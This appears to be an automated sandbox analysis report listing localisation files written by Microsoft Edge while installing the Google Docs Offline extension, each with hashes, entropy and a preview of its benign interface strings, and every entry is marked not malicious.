SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
